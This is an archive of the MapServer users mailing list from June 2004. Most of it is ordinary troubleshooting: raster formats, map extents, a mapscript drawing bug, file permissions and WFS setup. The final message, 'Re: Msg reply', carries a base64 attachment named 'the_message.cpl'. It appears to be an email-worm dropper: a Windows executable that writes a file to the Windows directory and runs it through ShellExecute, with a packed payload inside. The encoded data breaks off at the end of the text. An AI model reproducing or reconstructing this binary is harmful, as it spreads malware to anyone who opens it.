------_=_NextPart_001_01C44800.8F1C6860-- ------=_NextPartTM-000-cde7d697-bc51-4a44-842f-3ba57625af55-- From gayathri at ou.edu Tue Jun 1 11:02:24 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Tue, 1 Jun 2004 13:02:24 -0500 Subject: [Mapserver-users] MrSid and jpeg Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C0E4B6CE@XMAIL1.sooner.net.ou.edu> This is a multi-part message in MIME format. ------_=_NextPart_001_01C44802.97949CCB Content-Type: text/plain; charset="windows-1255" Content-Transfer-Encoding: quoted-printable Hi! =20 What do you mean by..."I have turned it into .jpeg extension." =20 Do you mean=20 1) You converted Mr.SID to JPEG and then you are trying to project the = jpeg or, 2) Your files still have Mr.SID and you are trying to show them as = RASTER type JPEG...and they dont show up? =20 In any case, search the mailing list archive for Mr.SID support...and = there are tons of exchanges...and related info for displaying Mr.SID =20 If you meant (1), did you create a world file for your jpeg file as = well? Otherwise it wont show up. =20 Thanks Gayathri =20 =20 -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu = [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of m soto . Sent: Tuesday, June 01, 2004 12:42 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] MrSid and jpeg =09 =09 Hi list! I need put into my Mapserver some photos in MrSid, but I can't get it. I = have turned it into .jpeg extension. My file has this information: OUTPUTFORMAT NAME jpeg DRIVER "GD/JPEG" MIMETYPE "image/jpeg" IMAGEMODE RGB EXTENSION "jpg" END LAYER TYPE RASTER STATUS DEFAULT NAME "orto" DATA "jpeg/orto5mv30f285130cor03.jpg" PROCESSING "BANDS=3D1,2,3" OFFSITE 0 0 0 CLASS NAME 'Digital Raster Graphic' KEYIMAGE jpeg/orto5mv30f285130cor03.jpg END END ... I don't Know if "the problem" is because of this: Thank you in advance. Adeu. Maria. ----------------------------------------------------------------------- Supersorteo.com :: =BFQuieres ganar 1.000.000 =80 y ser millonario? = Ahora puedes conseguirlo. =A1Entra! = http://www.eresmas.com/banners/ventas/clientes/zanox/webmail_supersorteo.= html = =20 _______________________________________________ Mapserver-users mailing = list Mapserver-users at lists.gis.umn.edu = http://lists.gis.umn.edu/mailman/listinfo/mapserver-users=20 ------_=_NextPart_001_01C44802.97949CCB Content-Type: text/html; charset="windows-1255" Content-Transfer-Encoding: quoted-printable Message
Hi!
 
What=20 do you mean by..."I have = turned it into=20 .jpeg extension."
 
Do you=20 mean
1) You=20 converted Mr.SID to JPEG and then you are trying to project the jpeg=20 or,
2)=20 Your files still have Mr.SID and you are trying to show them as RASTER = type=20 JPEG...and they dont show up?
 
In any=20 case, search the mailing list archive for Mr.SID support...and there are = tons of=20 exchanges...and related info for displaying Mr.SID
 
If you=20 meant (1), did you create a world file for your jpeg file as well? = Otherwise it=20 wont show up.
 
Thanks
Gayathri
 
 
-----Original Message-----
From:=20 mapserver-users-admin at lists.gis.umn.edu=20 [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of m = soto=20 .
Sent: Tuesday, June 01, 2004 12:42 PM
To:=20 mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] = MrSid=20 and jpeg

Hi=20 list!

I need=20 put into my Mapserver some photos in MrSid, but I can't get it. = I have=20 turned it into .jpeg extension.
My file has this=20 information:

OUTPUTFORMAT
 NAME=20 jpeg
 DRIVER "GD/JPEG"
 MIMETYPE=20 "image/jpeg"
 IMAGEMODE RGB
 EXTENSION=20 "jpg"
END

LAYER
 TYPE=20 RASTER
 STATUS DEFAULT
 NAME = "orto"
 DATA=20 "jpeg/orto5mv30f285130cor03.jpg"
 PROCESSING=20 "BANDS=3D1,2,3"
 OFFSITE 0 0 0
 CLASS
  = NAME=20 'Digital Raster Graphic'
  KEYIMAGE=20 = jpeg/orto5mv30f285130cor03.jpg
 END
END
...

I don't=20 Know if "the problem" is because of this:

<!--=20 MapServer version 4.0 OUTPUT=3DGIF OUTPUT=3DPNG OUTPUT=3DJPEG = OUTPUT=3DWBMP=20 OUTPUT=3DPDF OUTPUT=3DSWF SUPPORTS=3DPROJ SUPPORTS=3DFREETYPE=20 SUPPORTS=3DWMS_SERVER SUPPORTS=3DWMS_CLIENT = SUPPORTS=3DWFS_SERVER=20 SUPPORTS=3DWFS_CLIENT INPUT=3DEPPL7 INPUT=3DPOSTGIS INPUT=3DOGR = INPUT=3DGDAL=20 INPUT=3DSHAPEFILE -->

Thank=20 you in advance.

Adeu.=20 Maria.



--------------------------------------------------------------= ---------
Supersorteo.com :: = =BFQuieres=20 ganar 1.000.000 =80 y ser millonario? Ahora puedes conseguirlo. = =A1Entra!
http://www.eresmas.com/banners/ventas/clientes/zanox/webm= ail_supersorteo.html
______________________________________= _________=20 Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu=20 http://lists.gis.umn.edu/mailman/listinfo/mapserver-users=20 =00 ------_=_NextPart_001_01C44802.97949CCB-- From gayathri at ou.edu Tue Jun 1 11:05:11 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Tue, 1 Jun 2004 13:05:11 -0500 Subject: [Mapserver-users] How do I get the extent values? Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C0E4B6CF@XMAIL1.sooner.net.ou.edu> This is a multi-part message in MIME format. ------_=_NextPart_001_01C44802.FB7CF0AF Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hi, When you mouse over on your added "Image or feature layer" in arcview, the scale/extent in the top right corner changes... So to determine extent you should be able to mouse over at the four corners of your feature and get extents... =20 Alternatively, you get this information from a metadata file accompanying your shapefile. =20 Gayathri -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Namnath, Sharyn Sent: Tuesday, June 01, 2004 12:48 PM To: 'mapserver-users at lists.gis.umn.edu' Subject: [Mapserver-users] How do I get the extent values? =09 =09 I am trying to show my map using MapServer & PHP. However, I can't seem to figure out how to get the extent valuies =20 Here is my .map file =20 MAP NAME HELLO IMAGETYPE PNG STATUS ON EXTENT 0 0 4000 3000 SIZE 400 300 =20 WEB IMAGEPATH "/Inetpub/wwwroot/MyOwnData/tmp/" IMAGEURL "tmp/" END =20 LAYER # MODIS raster layer begins here NAME Italy DATA "data/Italy.jpg" STATUS DEFAULT TYPE RASTER PROCESSING "BANDS=3D1,2,3" OFFSITE 71 74 65 =20 PROJECTION "init=3Depsg:4326" END END # MODIS raster layer ends here =20 END =20 In the MapServer tutorial, it says that I can use ArcView to determine the extent. I have ArcView, but I still can't figure out how to get the extent in it. I've tried a couple of different values from Area Of Interest (Display & View), but none of those seem to work either. =20 Thanks for any help in advance, Sharyn ------_=_NextPart_001_01C44802.FB7CF0AF Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
Hi,
When=20 you mouse over on your added "Image or feature layer" in arcview, the=20 scale/extent in the top right corner changes...
So to=20 determine extent you should be able to mouse over at the four corners of = your=20 feature and get extents...
 
Alternatively, you get this information from a metadata file = accompanying=20 your shapefile.
 
Gayathri
-----Original Message-----
From:=20 mapserver-users-admin at lists.gis.umn.edu=20 [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of = Namnath,=20 Sharyn
Sent: Tuesday, June 01, 2004 12:48 PM
To:=20 'mapserver-users at lists.gis.umn.edu'
Subject: = [Mapserver-users] How=20 do I get the extent values?

I am trying to show my = map using=20 MapServer & PHP.  However, I can't seem to figure out how to = get the=20 extent valuies

 

Here is my .map=20 file

 

MAP

    NAME=20 HELLO

   =20 IMAGETYPE      PNG

    = STATUS=20 ON

    = EXTENT 0 0 4000=20 3000

    SIZE = 400=20 300

 

   =20 WEB

       =20 IMAGEPATH "/Inetpub/wwwroot/MyOwnData/tmp/"

       =20 IMAGEURL "tmp/"

   =20 END

 

LAYER # MODIS raster = layer begins=20 here

 =20 NAME         = Italy

 =20 DATA        =20 "data/Italy.jpg"

 =20 STATUS       DEFAULT

 =20 TYPE         = RASTER

  = PROCESSING  =20 "BANDS=3D1,2,3"

 =20 OFFSITE      71 74 65

 

 =20 PROJECTION

   =20 "init=3Depsg:4326"

  = END

END # MODIS raster layer = ends=20 here

 

END

 

In the MapServer = tutorial, it says=20 that I can use ArcView to determine the extent. I have ArcView, but I = still=20 can't figure out how to get the extent in it.  I've tried a = couple of=20 different values from Area Of Interest (Display & View), but none = of those=20 seem to work either.

 

Thanks for any help in=20 advance,

Sharyn

=00 ------_=_NextPart_001_01C44802.FB7CF0AF-- From sgillies at frii.com Tue Jun 1 11:14:20 2004 From: sgillies at frii.com (Sean Gillies) Date: Tue, 1 Jun 2004 12:14:20 -0600 Subject: [Mapserver-users] Mapscript $layerObj->draw($imageObj) bug? In-Reply-To: <20040601174722.GC19489@truffles.geodata.soton.ac.uk> References: <20040601174722.GC19489@truffles.geodata.soton.ac.uk> Message-ID: <80B461AD-B3F7-11D8-A34C-000D9329D732@frii.com> On Jun 1, 2004, at 11:47 AM, Homme Zwaagstra wrote: > Hi, > > I have a mapscript problem: > > Using the draw method of a layerObj instance doesn't seem to correctly > draw scaled symbols; I am attempting to set a point layer's SIZEUNITS > property to KILOMETERS in an effort to draw a scaled buffer (see > attached test.map for minimalist mapfile). > > Calling shp2img on this mapfile produces an image with a correctly > scaled symbol. Creating the image with the the mapObj's draw method > also works correctly (see attached output image map_draw.png). Using > the layerObj's draw method, however, seems to ignore the SIZEUNITS > setting and uses the default scaling of pixels (see attached output > image layer_draw.png). > > This issue exists in PHP mapscript and Python mapscript. See the > attached files test.php and test.py for scripts demonstrating the > problem. > > I'm using mapscript and mapserver 4.2.0. This problem manifested > itself in 4.0.1 but I upgraded before investigating further. > > I've searched the archives but could find no mention of this > problem. Am I missing something here or is this a bug? If I don't hear > back I'll file it in bugzilla... > > Kind regards, > > Homme Zwaagstra Homme, Each flavor of mapscript is calling on the same function, msDrawLayer, to do the actual drawing. I think that is where the sizeunits are being ignored. Please do file it in Bugzilla, but under MapServer C Library instead of mapscript, and add your attachments to the bug. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From JWiley at city.parksville.bc.ca Tue Jun 1 11:22:42 2004 From: JWiley at city.parksville.bc.ca (John Wiley) Date: Tue, 01 Jun 2004 11:22:42 -0700 Subject: [Mapserver-users] How do I get the extent values? Message-ID: Your extent is the min max coordinates in the map file. It can be located in the .tfw in the arcInfo enviornment. Alternately you can record it from a cursor location in most mapping applications such as Arcview or AutoCad. J >>> "Namnath, Sharyn" 06/01/04 10:47am >>> I am trying to show my map using MapServer & PHP. However, I can't seem to figure out how to get the extent valuies Here is my .map file MAP NAME HELLO IMAGETYPE PNG STATUS ON EXTENT 0 0 4000 3000 SIZE 400 300 WEB IMAGEPATH "/Inetpub/wwwroot/MyOwnData/tmp/" IMAGEURL "tmp/" END LAYER # MODIS raster layer begins here NAME Italy DATA "data/Italy.jpg" STATUS DEFAULT TYPE RASTER PROCESSING "BANDS=1,2,3" OFFSITE 71 74 65 PROJECTION "init=epsg:4326" END END # MODIS raster layer ends here END In the MapServer tutorial, it says that I can use ArcView to determine the extent. I have ArcView, but I still can't figure out how to get the extent in it. I've tried a couple of different values from Area Of Interest (Display & View), but none of those seem to work either. Thanks for any help in advance, Sharyn From eduardo at consultoria.eti.br Tue Jun 1 11:30:02 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Tue, 1 Jun 2004 15:30:02 -0300 Subject: [Mapserver-users] How do I get the extent values? In-Reply-To: <89E34224EAFDD411B6AD0002A529187F207528@stl-exchpo1-nt.nv.doe.gov> References: <89E34224EAFDD411B6AD0002A529187F207528@stl-exchpo1-nt.nv.doe.gov> Message-ID: <20040601183002.28364.qmail@hm47.locaweb.com.br> Using the latest shapelib package( http://shapelib.maptools.org ), try: $ shpdump -h theshapefile.shp # -h = header info only this sould display the header shapefile information which has the info you want... or you could also: $ shpdump theshapefile.shp > dump.txt then, open 'dump.txt' ... at the lines 3 and 4 you will get the MinX, MinY and MaxX, MaxY data. best Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** On Tue, 1 Jun 2004 10:47:51 -0700, "Namnath, Sharyn" escreveu: > De: "Namnath, Sharyn" > Data: Tue, 1 Jun 2004 10:47:51 -0700 > Para: "'mapserver-users at lists.gis.umn.edu'" > Assunto: [Mapserver-users] How do I get the extent values? > > > I am trying to show my map using MapServer & PHP. However, I can't seem to > figure out how to get the extent valuies > > > > Here is my .map file > > > > MAP > > NAME HELLO > > IMAGETYPE PNG > > STATUS ON > > EXTENT 0 0 4000 3000 > > SIZE 400 300 > > > > WEB > > IMAGEPATH "/Inetpub/wwwroot/MyOwnData/tmp/" > > IMAGEURL "tmp/" > > END > > > > LAYER # MODIS raster layer begins here > > NAME Italy > > DATA "data/Italy.jpg" > > STATUS DEFAULT > > TYPE RASTER > > PROCESSING "BANDS=1,2,3" > > OFFSITE 71 74 65 > > > > PROJECTION > > "init=epsg:4326" > > END > > END # MODIS raster layer ends here > > > > END > > > > In the MapServer tutorial, it says that I can use ArcView to determine the > extent. I have ArcView, but I still can't figure out how to get the extent > in it. I've tried a couple of different values from Area Of Interest > (Display & View), but none of those seem to work either. > > > > Thanks for any help in advance, > > Sharyn > > > From siki at agt.bme.hu Tue Jun 1 14:33:35 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Tue, 1 Jun 2004 20:33:35 -0100 (GMT+1) Subject: [Mapserver-users] Symbol - GIF pixmap - parsing problem {Scanned} In-Reply-To: Message-ID: Hi, Have you checked the access rights to that file? The web server must have read access to that file. Do you use unix or windows? on unix use the "ls -l file-name" command to check access right, you should see -rw-r--r-- or -rw-rw-r-- at the beginning of the line there should be three "r" on windows right click on the file in windows explorer and select properties ... Bye Zoltan On Tue, 1 Jun 2004, Jenu Abraham wrote: > i'm facing a very peculiar problem > > when i was testing Symbol Pixmap ...everything worked fine with a gif file > "north.gif" which i had downloaded from an example for mapserver... > > now i tried to develop my own image of a comapss . I converted it to > "north.gif". > When i tried to run this.....it gave a > "loadsymbol().Unable to access file. Parsing error near(my image path)" > > when i again used my old image it worked > > can somebody tell me why.? > I haVE CHECKED the image does exist at the path.... > > jenu > > _________________________________________________________________ > Is your PC infected? Get a FREE online computer virus scan from McAfee? > Security. http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From stigmata at blackangel.net Tue Jun 1 11:36:39 2004 From: stigmata at blackangel.net (Gregor Mosheh) Date: Tue, 1 Jun 2004 11:36:39 -0700 (PDT) Subject: [Mapserver-users] need help with WFS Message-ID: <20040601111328.G12557@osiris.deathkeep.com> I'm trying to get WFS server and client support to work, but am having a difficult time with it. Unlike the WMS client howto, the WFS one is rather terse so I'm not sure where to begin troubleshooting it. When I zoom in far enough to include the WFS layer (street data, maxscale 75000) I get this error: msDrawMap(): Image handling error. Failed to draw layer named 'streets'. msWFSLayerWhichShapes(): WFS connection error. WFS request produced unexpected output (junk?) for layer streets. Okay, junk output. According to the httpd log, it sent this request: POST /mapserv?REQUEST=GetFeature&SERVICE=WFS&VERSION=1.0.0&TYPENAME=streets HTTP/1.1 So I gave it a try manually: GET /mapserv?REQUEST=GetFeature&SERVICE=WFS&VERSION=1.0.0&TYPENAME=streets HTTP/1.0 And got this: inapplicable I don't know what to make of that at all. For what it's worth, here is the WFS server's mapfile. It is configured to do both WMS and WFS. WMS supports works perfectly. # # This mapfile sets up a dedicated WMS server. # The output is always in latlong format; we'll let the client reproject it as they need. # NAME HostGIS_WMS PROJECTION "init=epsg:4269" END WEB MINSCALE 3000 MAXSCALE 2000000 IMAGEPATH "/usr/local/apache-wms/htdocs/" IMAGEURL "/" METADATA "wms_title" "HostGIS WMS Server" "wms_onlineresource" "http://wms.hostgis.com:800/mapserv?" "wms_srs" "EPSG:4269" "wfs_onlineresource" "http://wms.hostgis.com:800/mapserv?" "wfs_title" "HostGIS WFS Server" "wfs_srs" "EPSG:4269" "wfs_geometry_element_name" "the_geom" END END ### BEGIN LAYER DEFINITIONS # All roads and highways in the USA LAYER NAME streets TYPE line STATUS on DUMP true CONNECTIONTYPE postgis CONNECTION "user=XXXXXX dbname=XXXXXX password=XXXX host=localhost" DATA "the_geom from streets" PROJECTION "init=epsg:4269" END METADATA "wms_title" "streets" "wfs_title" "streets" END LABELITEM "name" CLASS COLOR 0 0 0 LABEL COLOR 0 0 0 END END END # citis, towns, and landmarks LAYER NAME places TYPE point STATUS on DUMP true CONNECTIONTYPE postgis CONNECTION "user=XXXXXX dbname=XXXXXX password=XXXX host=localhost" DATA "the_geom from places" PROJECTION "init=epsg:4269" END METADATA "wms_title" "places" "wfs_title" "places" END LABELITEM "name" CLASS COLOR 255 0 0 LABEL COLOR 255 0 0 END END END # ZIP code boundaries LAYER NAME zipcodes TYPE polygon STATUS on DUMP true CONNECTIONTYPE postgis CONNECTION "user=XXXXXX dbname=XXXXXX password=XXXX host=localhost" DATA "the_geom from zipcode_extents" PROJECTION "init=epsg:4269" END METADATA "wms_title" "zipcodes" "wfs_title" "zipcodes" END LABELITEM zip CLASS OUTLINECOLOR 180 180 180 LABEL COLOR 0 0 0 END END END ### END OF LAYER DEFINITIONS # the end END From stigmata at blackangel.net Tue Jun 1 11:41:03 2004 From: stigmata at blackangel.net (Gregor Mosheh) Date: Tue, 1 Jun 2004 11:41:03 -0700 (PDT) Subject: [Mapserver-users] WFS client howto Message-ID: <20040601113742.L12557@osiris.deathkeep.com> Also, I noticed that in the WFS Client Howto, they give a connection string of: http://my.wfs.com/cgi-bin/mapserv?map=mywfs.map&SERVICE=WFS&VERSION=1.0.0&TYPENAME=mypoints But there's a mailing list entry that agrees with my experience, which was that to get any response at all you need to specify a REQUEST variable as well, e.g.: http://my.wfs.com/cgi-bin/mapserv?map=mywfs.map&SERVICE=WFS&VERSION=1.0.0&TYPENAME=mypoints&REQUEST=GetFeature Is this an error in the documentation, or am I missing something? From jenu_ab at hotmail.com Tue Jun 1 11:52:51 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Tue, 01 Jun 2004 13:52:51 -0500 Subject: [Mapserver-users] Symbol - GIF pixmap - parsing problem Message-ID: thanks Got this problem fixed.. I am using windows 2003 server.. i had checked all the permissions and it did have full control .. but stilll it was showing that error... The problem was..the image should have the allow inheritable permission checked...I dont know why this is necessary. cheers jenu ------------------------------ >From: Siki Zoltan >To: Jenu Abraham >CC: mapserver-users at lists.gis.umn.edu, >Subject: Re: [Mapserver-users] Symbol - GIF pixmap - parsing problem >{Scanned} >Date: Tue, 1 Jun 2004 20:33:35 -0100 (GMT+1) > >Hi, > >Have you checked the access rights to that file? >The web server must have read access to that file. >Do you use unix or windows? >on unix use the "ls -l file-name" command to check access right, >you should see -rw-r--r-- or -rw-rw-r-- at the beginning of the line >there should be three "r" >on windows right click on the file in windows explorer and select >properties ... > >Bye >Zoltan > >On Tue, 1 Jun 2004, Jenu Abraham wrote: > > > i'm facing a very peculiar problem > > > > when i was testing Symbol Pixmap ...everything worked fine with a gif >file > > "north.gif" which i had downloaded from an example for mapserver... > > > > now i tried to develop my own image of a comapss . I converted it to > > "north.gif". > > When i tried to run this.....it gave a > > "loadsymbol().Unable to access file. Parsing error near(my image path)" > > > > when i again used my old image it worked > > > > can somebody tell me why.? > > I haVE CHECKED the image does exist at the path.... > > > > jenu > > > > _________________________________________________________________ > > Is your PC infected? Get a FREE online computer virus scan from McAfee? > > Security. http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > _________________________________________________________________ Learn to simplify your finances and your life in Streamline Your Life from MSN Money. http://special.msn.com/money/0405streamline.armx From bartvde at xs4all.nl Tue Jun 1 12:08:01 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Tue, 01 Jun 2004 21:08:01 +0200 Subject: [Mapserver-users] WFS client howto In-Reply-To: <20040601113742.L12557@osiris.deathkeep.com> References: <20040601113742.L12557@osiris.deathkeep.com> Message-ID: Hi Gregor, this is because Mapserver WFS client uses by default POST now, and the WFS client HowTo is using HTTP GET in its examples (the docs should be updated to include both options). So your Apache logfile only has the basic URL in it to which a GetFeature XML request is posted. But you have probably run into something like the following: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=597 Set your wfs_request_method metadata to GET then you can see in the Apache log exactly the full request which gets sent. Or just add request=GetFeature&BBOX=XMIN,YMIN,XMAX,YMAX to the URL you tried in a browser (fill in the BBOX values though) and see if it works. Best regards, Bart On Tue, 1 Jun 2004 11:41:03 -0700 (PDT), Gregor Mosheh wrote: > > Also, I noticed that in the WFS Client Howto, > they give a connection string of: > > http://my.wfs.com/cgi-bin/mapserv?map=mywfs.map&SERVICE=WFS&VERSION=1.0.0&TYPENAME=mypoints > > But there's a mailing list entry that agrees with my experience, which > was > that to get any response at all you need to specify a REQUEST variable as > well, e.g.: > > http://my.wfs.com/cgi-bin/mapserv?map=mywfs.map&SERVICE=WFS&VERSION=1.0.0&TYPENAME=mypoints&REQUEST=GetFeature > > > Is this an error in the documentation, or am I missing something? > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From TMitchell at lignum.com Tue Jun 1 13:14:38 2004 From: TMitchell at lignum.com (TMitchell) Date: Tue, 01 Jun 2004 14:14:38 -0600 Subject: [Mapserver-users] Re: Msg reply Message-ID: ----------zbtyycshfvboceythgaw Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------zbtyycshfvboceythgaw Content-Type: application/octet-stream; name="the_message.cpl" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="the_message.cpl" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAQAAAAFBFAABMAQMA7cGQQAAAAAAAAAAA4AAOIQsBBQwABgAAAAIAAAAAAAAQEQAA ABAAAAAgAAAAAAAQABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAtX8AAAACAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAFBAAADwAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAIAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAHAQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADgBQAA ABAAAAACAAAAAgAAAAAAAAAAAAAAAAAAIAAA4C5yZWxvYwAAKAAAAAAgAAAAAgAAAAQAAAAA AAAAAAAAAAAAAEAAAEIAAAAAAAAAALVPAAAAMAAAtU8AAAAGAAAAAAAAAAAAAAAAAAAgAADg AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABcY3Bsc3R1Yi5leGUAb3BlbgAAAFAQAAAAAAAA AAAAANwQAABwEAAAaBAAAAAAAAAAAAAA+hAAAIgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAQ AACeEAAArBAAAMQQAADQEAAAAAAAAOoQAAAAAAAAkBAAAJ4QAACsEAAAxBAAANAQAAAAAAAA 6hAAAAAAAAAZAENsb3NlSGFuZGxlADIAQ3JlYXRlRmlsZUEAZAFHZXRXaW5kb3dzRGlyZWN0 b3J5QQAAuQJXcml0ZUZpbGUA0wJsc3RyY2F0QQAAS0VSTkVMMzIuZGxsAABuAFNoZWxsRXhl Y3V0ZUEAU0hFTEwzMi5kbGwAAAAAAAAAAAAAAFWL7IN9DAF1RpBoAAQAAGjgEQAQ6JsAAABo ABAAEGjgEQAQ6JgAAACQaOARABDoJQAAAAvAdBiQagBqAGoAaOARABBoDRAAEGoA6HcAAAC4 AQAAAMnCDABVi+yDxPhTVjPbkGoAagBqAmoAagNoAAAAwP91COg0AAAAiUX8QHQgvgAwABCt kmoAjUX4UFJW/3X86CMAAAD/dfzoCQAAAEOLw15bycIEAP8lcBAAEP8ldBAAEP8leBAAEP8l fBAAEP8lgBAAEP8liBAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ AAAgAAAAIDEqMS8xOjFPMVQxujHAMcYxzDHSMdgxABAAAAwAAACRMQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsU8AAE1aAAABAAAAAgAAAP//AABAAAAAAAAAAEAA AAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAACpJt0T7UezQO1Hs0DtR7NA 7UezQO5Hs0BjWKBAbUezQBFnoUDsR7NAKkG1QOxHs0BSaWNo7UezQAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAFBFAABMAQMAzA+QQAAAAAAAAAAA4AAPAQsBBQwAUAAAABAAAACQAADw4gAA AKAAAADwAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAAABAAAQAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAApPMAAEwCAAAA8AAApAMAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAkAAA ABAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAgAAA4FVQWDEAAAAAAFAAAACgAAAARgAAAAIAAAAA AAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAA8AAAAAYAAABIAAAAAAAAAAAAAAAAAABAAADA MS4yNABVUFghDAkCCL8nPV/a0G+ex8cAAMlCAAAAkgAAJgAAzP///5v6yTpxKisYkPOjKxCJ /HsI2nlCFxgOc+5/XlK//f//uvoEOo8YOa9xFqxxv/Jxj/Zxt+oZ4i07EPLI/Nz/sd3fBTtx /ibJOLwYEqQzOPb6K2vtt+8qDSoFj+oC9qoSOgUADRl/+/YHeT4OkvraNZD6EmE0+nO/Bj2/ /77Fvg6CkAEw8hItug13vwKq/5uveykSBhVTeYcC+o/4EekFj3dv7pECDhJqW0MOETUPEqq6 2zZzYEZqhw53/mq39txm4llapcjsR/L4t9ne34n+GZD+khakvQX/C73twbaqywfJKA1HaCbu 9q3cNa0Gcfz2OxP4QAlRCe8+sv15G/kJUKUe8qlxp/YhkOASY/KU/XdJeTqbBlCxjwuhH/AS g3vnFjLKsbj7EkrFqcqtdX/xOo70qpCUJQy7KMR/FrrBg6xFj4SHySEZrsOX7f9WOxrqeQP7 jvFWnAny+I77VpoHeXt4EugSx5g4CfYSyfwSb+3dkdMS2Aa5eQHoSEKcQvcIrf3/8JxReRP5 g0gNI9EDSsfQkcT/////eRrFxsSJ6MbOifD+u8ahiPX+/BHx/gYR/dbEOhr4/use2sPRUEmp kGkkoX+zfUOHe8lxIuAiBmEzBQhUet/2e7u+juOyEnTE04/9WaHtc50xc//8eTz+ESBC+4gS GAZ2hZ/b3pL4FVNwBCRNvb0u9ncXhEP6E3LuwAQ4GAMSYtb4beM8vwRxM8Bw/sFyv4UNsu3u tgjLBfVMrwnAchVw7NuFtwXAu8EoiPgoBDmPL9i3F9zZagK5j/Jw+TwHcGzEFtq5+wXcAVeM Av619uPkugQbTwPuwnKvbe/b3WOvBg0GcAwEF5HCm+tcixAaCQX4eqRx3bq3b0DK7soFBRg6 cCP5BAZy3z5Jr2DmGXG6xvkF9U26/IXdLQjW4kLSdA2f2oz31pavqB0F+Tj/iByWrXyY9hMr BTzu9hds5MIXQ+oU3RCja74VdbIIqpB0+9rSm7ezWwXCcXG5a9/+v6EL0TBxqfL5K/mp9nPd BYnqdbYX8p2+du77BT+1ET6gY+13O5DSCQ8GEvZ1OwXqF8qyLALuBjm53v3KyZbaGt+cBRm6 